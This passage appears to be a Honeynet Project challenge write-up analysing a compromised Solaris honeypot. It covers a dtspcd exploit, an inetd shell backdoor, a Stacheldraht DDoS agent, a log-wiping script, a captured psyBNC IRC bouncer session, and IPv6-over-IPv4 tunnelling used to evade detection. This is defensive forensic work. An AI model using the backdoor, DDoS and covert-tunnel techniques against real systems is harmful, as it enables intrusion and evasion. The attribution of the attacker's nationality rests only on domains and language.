,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000
the most psychoid
and the cool lam3rz Group IRCnet

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'

PsyBNC (from a quick Google search) is found to be an IRC Bouncer. Like any IRC bouncer, it hides the
source IP of the IRC client/user, and more specifically, it allows persistent connections to the IRC
server even when the IRC client disconnects - this allows the IRC user to maintain a NICK/Operator-status
on an IRC channel without having to be 'logged-on' at all times.


# ./solbnc
# ./dlp

"strings solbnc | grep skillz" gives 1 hit. Then comparing strings output with one from [3]
below for the agent "td", we see some strong correlation. We conclude that "solbnc" is a Stacheldraht
style DDoS agent. (Why that name though, solbnc?).

"dlp" just deletes some logs and kills inetd. So 1524 wont be accessible anymore as a /bin/sh backdoor
to others.

So we have a successful compromise detection, and have confirmed all the leads so far. The only unexplained
lead at this point is the external IRC (botnet?) connection attempts (port 6667 and 5555) from lead #1.

Do explain these outbound IRC connections, we quickly check the session(s) immediately preceding the first
outbound connection attempt from the honeypot to port 6667. We find that the honeynet has a session on
its port 7000 installed in the above compromise! We use Ethereal's "Follow this TCP Stream" to analyze this
session:

PASS fargetta
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.2.1
NICK Dj`bobz`

<snipped>

ADDSERVER irc.stealth.net:6667
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Server irc.stealth.net port 6667 (password: None) added.
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:06:46 :User ahaa () trying irc.stealth.net port 6667 ().
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:06:49 :User ahaa () connected to irc.stealth.net:6667 ()
SETAWAYNICK Dj`bobz`
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :AWAY-Nick changed to 'Dj`bobz`'.
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:07:36 :User ahaa () got disconnected (from irc.stealth.net)
Reason: Closing Link: Dj`bobz`[unknown@
192.168.100.28] (Too many host connections (global))

<snipped>

DELSERVER 1
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Server 1 deleted.
ADDSERVER irc.stealth.net:5555
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Server irc.stealth.net port 5555 (password: None) added.

<snipped>

:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:13:30 :User ahaa () connected to irc.stealth.net:5555 ()
:irc-1.stealth.net 001 Dj`bobz` :Welcome to the Internet Relay Network Dj`bobz`!-ahaa@host44-14.pool80117.interbusiness.it
:irc-1.stealth.net 002 Dj`bobz` :Your host is irc-1.stealth.net, running version 2.10.3p3/S02.3
:irc-1.stealth.net 003 Dj`bobz` :This server was created Fri Dec 28 2001 at 06:24:19 EST
:irc-1.stealth.net 004 Dj`bobz` irc-1.stealth.net 2.10.3p3/S02.3 acoOirw abeiIklmnoOpqrstv
:irc-1.stealth.net 251 Dj`bobz` :There are 118088 users and 6 services on 45 servers
:irc-1.stealth.net 252 Dj`bobz` 173 :operators online
:irc-1.stealth.net 253 Dj`bobz` 85 :unknown connections
:irc-1.stealth.net 254 Dj`bobz` 55070 :channels formed
:irc-1.stealth.net 255 Dj`bobz` :I have 4175 users, 0 services and 1 servers
:irc-1.stealth.net 484 Dj`bobz` :Your connection is restricted!
:Dj`bobz` MODE Dj`bobz` :+r
:Dj`bobz` MODE Dj`bobz` :+i
JOIN #agropoli2 berlin
:Dj`bobz`!-ahaa@zoberius.example.net.mx JOIN :#agropoli2
MODE #agropoli2
:irc-1.stealth.net 332 Dj`bobz` #agropoli2 :CHI OPPA LO UCCIDO
:irc-1.stealth.net 333 Dj`bobz` #agropoli2 Legione`!fid3l@dialup-69.dncsi.net 1038563659
:irc-1.stealth.net 353 Dj`bobz` @ #agropoli2 :Dj`bobz` Maxpowe`R @P|aty +JObSpaInt @bobz-OwNz @bobz-v6- @bobzT0rNa
:irc-1.stealth.net 366 Dj`bobz` #agropoli2 :End of NAMES list.
who #agropoli2
:irc-1.stealth.net 352 Dj`bobz` #agropoli2 -ahaa zoberius.example.net.mx irc-1.stealth.net Dj`bobz` H :0 nZ
:irc-1.stealth.net 352 Dj`bobz` #agropoli2 ~MaxpoweR host66-170.pool80181.interbusiness.it *.tin.it Maxpowe`R H :5
` La FriendZ ` :::..
:irc-1.stealth.net 352 Dj`bobz` #agropoli2 PoKiSsImA 62.211.227.102 *.tin.it P|aty H@ :5 ..:: BeOnS GrOuP .:. Fri�dZ ::..

<snipped>

SETLEAVEMSG ^B^C4^_MiXer^_^B^C
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :LEAVE Messages changed to '^B^C4^_MiXer^_^B^C'.
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :AWAY changed to '^B^C4^_MiXer^_^B^C'.
AIDLE 1
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :AIDLE enabled.
QUIT :^B-:OwNz:-^B
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :User ahaa quitted (from host44-14.pool80117.interbusiness.it)


The 'ADDSERVER' commands explain the outbound IRC server connections from the honeypot! The attacker (same one,
since he/she logs-in using password on the IRC server (actually a bouncer/proxy server on 7000, and uses
'bobz' as NICK) adds irc.stealth.net to the list of IRC servers on the port 7000 bouncer. Again note, the .it
domain in the IRC welcome message - it again implies that the attacker is Italian.


Day 1 Questions:
1. What is the OS of the honeypot? How did you determine that?
A. From the port 1524 session analyzed above, from the output of "uname -a", we find the system info is "SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10"

2. How did the attacker(s) break into the system?
A. It was a buffer-overflow vulnerability in the "dtspcd" service on TCP port 6112 which was exploited to launch a /bin/sh backdoor on TCP port 1524 using the inetd
daemon.

3. What systems were used during the attack, and how?
4. Create a diagram that demonstrates the sequences involved in the attack.
A. Please refer to the above analysis and the following diagrams for answers to these questsions: Day 1 Activity , Day 3 Activity .

5. What is the purpose of the ICMP Packets with the word 'skillz' in them?
A. This is the Stacheldraht DDoS agent's communication protocol with its masters/handlers. It periodically sends ICMP Echo Reply packets with the word 'skillz'
in them to a list of handler/master host IPs. More information can be found in reference [3] below.

Day 3 Analysis:

Please refer to this diagram for the day 3 activity analysis.

Since we already have analyzed a successful compromise on the honeypot in day 1, what's left for us to analyze is any unusual activity the attackers involve the honeypot in. This is to use the activity to learn new hacking methodologies. Since the Challenge mentions a unique protocol being used, we begin with tethereal's protocol stats:

$ tethereal -n -z io,phs -r src_dump/day3.log | tail -n 50
<snipped>
===================================================================
Protocol Hierarchy Statistics
Filter: frame

frame                                    frames:123123 bytes:18041825
  eth                                    frames:123123 bytes:18041825
    ip                                   frames:123123 bytes:18041825
      icmp                               frames:7592 bytes:5692820
      udp                                frames:3896 bytes:2660510
        dns                              frames:1573 bytes:245372
        nbns                             frames:3 bytes:1250
        data                             frames:2247 bytes:2395332
        rx                               frames:3 bytes:3198
        ddtp                             frames:1 bytes:1066
        radius                           frames:1 bytes:1066
        srvloc                           frames:1 bytes:1066
        slimp3                           frames:1 bytes:1066
        dlsw                             frames:1 bytes:1066
        vines_frp                        frames:1 bytes:1066
          vines                          frames:1 bytes:1066
            data                         frames:1 bytes:1066
        syslog                           frames:63 bytes:7896
      tcp                                frames:105973 bytes:9110417
        gryphon                          frames:679 bytes:179987
          unreassembled                  frames:676 bytes:179800
          short                          frames:3 bytes:187
        data                             frames:3867 bytes:488232
        http                             frames:1619 bytes:2447886
        unreassembled                    frames:276 bytes:16560
      ipv6                               frames:3343 bytes:438938
                                         frames:4 bytes:424
          icmpv6                         frames:4 bytes:424
        icmpv6                           frames:5 bytes:490
        tcp                              frames:3334 bytes:438024
          irc                            frames:1765 bytes:290262
===================================================================


There are several protocols displayed here, some wrongly tagged based on port numbers only. The one ipv6 sub-protocol of ip stands out! It clearly has been used as a tunneled protocol inside ipv4 packets. The authors have little experience analyzing ipv6 traffic, let alone ipv6 tunneled inside ipv4 packets. A little Googling was necessary. [6] & [7] provided some insight.

We quickly find that two unusual protocol numbers were being used 0, and 41. The protocol with number 0 is seen to be IPv6 Hop-by-Hop Options, and seems irrelevant for our analysis. Let's check the other protocol 41, which from [8], is for IPv6 tunneled inside IPv4 packets.

Using '-z io, users, ip' on tethereal over the protocol 41, we find that there was just one user-IP pair, and the 'peer' for this honeypot activity was 163.162.170.173, which is 'Telecom Italia Lab'.

$ host 163.162.170.173
173.170.162.163.in-addr.arpa domain name pointer ts.ipv6.tilab.com.

$ tcpdump -n -nn -r src_dump/day3.log -w src_dump/WeirdProto ip and not proto 1 and not proto 6 and not proto 17 and not proto 0
$ tcpdump -tt -n -nn -r src_dump/WeirdProto | head -n 1
1038783576.060504 163.162.170.173 > 192.168.100.28: fe80::206:5bff:fe04:5e95 > ff02::1:ff00:5d0f: HBH icmp6: multicast listener report ...

# Now see from ~500 secs prior to the first IPv6-tunneled packet, what activity the Honeynet was involved in:
$ tcpslice 1038783000.060504 1038784576.060504 -w src_dump/pre_icmp6 src_dump/day3.log
$ tethereal -n -r src_dump/pre_icmp6
...
1673 566.501738 192.168.100.28 -> 62.101.108.86 TCP 5001 > 52124 [PSH, ACK] Seq=6647790 Ack=812394420 Win=24616 Len=20
1674 566.701724 62.101.108.86 -> 192.168.100.28 TCP 52124 > 5001 [ACK] Seq=812394420 Ack=6647810 Win=10720 Len=0
1675 567.111696 62.211.66.55 -> 192.168.100.28 HTTP Continuation
1676 567.111696 62.211.66.55 -> 192.168.100.28 HTTP Continuation
1677 567.111696 192.168.100.28 -> 62.211.66.55 TCP 32806 > 80 [ACK] Seq=216576479 Ack=3866497953 Win=24820 Len=0
1678 567.131695 192.168.100.28 -> 62.101.108.86 TCP 5001 > 52124 [PSH, ACK] Seq=6647810 Ack=812394420 Win=24616 Len=20
1679 567.331682 62.101.108.86 -> 192.168.100.28 TCP 52124 > 5001 [ACK] Seq=812394420 Ack=6647830 Win=10720 Len=0
1680 567.521669 fe80::206:5bff:fe04:5e95 -> ff02::1:ff00:5d0f ICMPv6 Multicast listener report
1681 567.521669 192.168.100.28 -> 163.162.170.173 ICMP Destination unreachable
1682 567.531668           :: -> ff02::1:ff00:5d0f ICMPv6 Neighbor solicitation
...

We suspect that the attacker launched this tunneled IRC connect by running some commands over the SSH session on port 5001. What exact commands were run can not be known here, but we know that the attacker did download the 'ipv6sun' script over FTP (day 1) which most likely was involved in setting this up (again, it reads from stdin, which we don't see on the 5001 session). We also see a new version 2.3.1 of PsyBNC was downloaded on day 3. This one perhaps supported IPv6 IRC servers.

The honeypot has an IRC session over this TCP-over-IPv6-over-IPv4 tunnel with port 6667 of an external IRC server. Using 'Follow this TCP Stream' in Ethereal and checking the NICKs, and channel names seen, we find that it's the same attacker(s) who control that IRC channel as well ('bobz').

Other notable activities on day 3 were (details not shown for brevity):

- As shown above, on day 1, the Stacheldraht DDoS agent was installed on the Honeypot and it periodically sent ICMP Echo Replies to handler 61.134.3.11 which didn't reciprocate then. The handler host comes up on day 3 and starts replying with ICMP Echo Replies with 'ficken' in it (caught by Snort). Snort also caught the related 'Niggahbitch' ICMP Echo Replies from the same handler. There was apparently no other command exchange activity between the agent and the handler apart from these ICMP pings to Ack each others' presence.
- There was a lot of scanning from the Honeypot for different hosts/ports.
- Using argus (with -z switch and grepping for 'sSE') we find that there were no interesting TCP (over IPv4) sessions - just connects to the 7000/5001 backdoors and to an external IRC server (sessions that were expected).

Day 3 Questions:

6. Following the attack, the attackers enabled an unique protocol. Can you identify that protocol and why it was used?
A. The attackers used IPv6 tunneled in IPv4 packets. Since most Intrusion Detection Systems and even network traffic analysis tools have focussed and have been used for mostly on IPv4 traffic/networks, it wouldn't surprise us if no IDS detects/decodes this unique protocol as of now. We did find that both Ethereal and Tcpdump support IPv6 tunneled inside IPv4 packets.

7. Can you identify the nationality of the attacker?
A. He/she/they are Italian. There were several pointers to this in the analysis so far, including domains .it of external sites the honeypot connected to, language used in files/sessions etc.

Thanks for a very interesting SOTM challenge!

Bonus Questions:

1. What are the implications of using the unusual IP protocol to the Intrusion Detection industry?
A.

- Intrusion Detection is a fairly new industry. Commercial and Opensource IDSes have only recently (last few years) matured in terms of Signature Base, Protocol Decode Engines, Anomaly Detection, and Correlation.
- Most networks on the Internet today are based almost exclusively on IPv4 suite of protocols. Most vulnerabilities too are thus limited to IPv4 servers. Naturally, IDSes too have limited their detection capabilities almost exclusively to the 'regular' IPv4 protocols (TCP/UDP/ICMP etc over IPv4). IPv6 is a fairly new phenomenon, meaning that few networks today deploy IPv6 protocols in production use. - IDSs can only analyze protocols they can decode. To minimize Layer 4-7 regular expression searches, ID signatures are getting more and more protocol dependent. Meaning, the core ID decode engine has to support a particular protocol for good/any signatures to be written for that protocol. If an IDS doesn't recognize a protocol/payload structure, signatures become essentially blind floating string searches if any at all. Its quite like analyzing an encrypted session.
- Hackers can evade detection by using such covert channels, that are invisible to IDSs. It should be noted that, the compromise itself might still occur over a regular IPv4 sub protocol that IDSs do support.

2. What tools exist that can decode this protocol?
A. From this challenge, we found that the following tools could be used to decode the IPv6 packets tunneled inside IPv4 ones:

- TCPDump: http://www.tcpdump.org/
- Ethereal: http://www.ethereal.com/
- Argus: http://www.qosient.com/argus/

/* Not tested for the support, but claim to have it. */
- Snort IDS: http://lists.insecure.org/lists/focus-ids/2002/Dec/0069.html, http://www.snort.org
- Bro IDS: http://www.icir.org/vern/bro.html


References:


1. RST or FIN-ACK on Application Crash Discussion #1, http://groups.google.com/groups?threadm=3B23A32C.8B2A788%40ix.netcom.com

2. RST or FIN-ACK on Application Crash Discussion #2, http://marc.theaimsgroup.com/?t=102754968200004&r=1&w=2

3. Stacheldraht DDoS Analysis, http://staff.washington.edu/dittrich/misc/stacheldraht.analysis

4. Snort's Sid 480, http://www.snort.org/snort-db/sid.html?sid=480

5. Socks Open-proxy scan, http://help.undernet.org/proxyscan/

6. IPv6 Specification, http://www.faqs.org/rfcs/rfc1883.html

7. Tunneling IPv6 over IPv4 (Transitioning Spec), http://www.faqs.org/rfcs/rfc2893.html

8. IANA Protocol Number Assignation, http://www.iana.org/assignments/protocol-numbers

9. CERT Advisory on Exploitation of Vulnerability in CDE Subprocess Control Service ('dtspcd') , http://www.cert.org/advisories/CA-2002-01.html

10. Honeynet's Scan of the Month 27, Authors' Entry, http://old.honeynet.org/scans/scan27/sol/mahadik/